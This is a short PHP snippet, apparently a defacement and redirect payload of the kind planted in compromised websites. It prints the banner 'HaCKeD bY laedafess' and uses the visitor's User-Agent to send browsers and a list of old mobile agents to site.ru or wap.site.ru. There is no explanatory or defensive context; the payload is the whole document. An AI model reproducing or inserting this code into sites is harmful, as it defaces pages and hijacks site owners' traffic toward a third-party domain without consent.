if(stristr($_SERVER["HTTP_USER_AGENT"],'Mozilla')) header('location: http://site.ru'); elseif(stristr($_SERVER["HTTP_USER_AGENT"],'Opera')) header('location: http://site.ru'); echo 'HaCKeD bY laedafess';
$mob_agents = Array('Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [ru]','Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6600/5.27.0; 9399) Opera 8.65 [ru]','Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)'); $agent = $_SERVER['HTTP_USER_AGENT']; if(array_search($agent, $mob_agents, true)){ header("Location: http://wap.site.ru"); }else{ header("Location: http://site.ru");}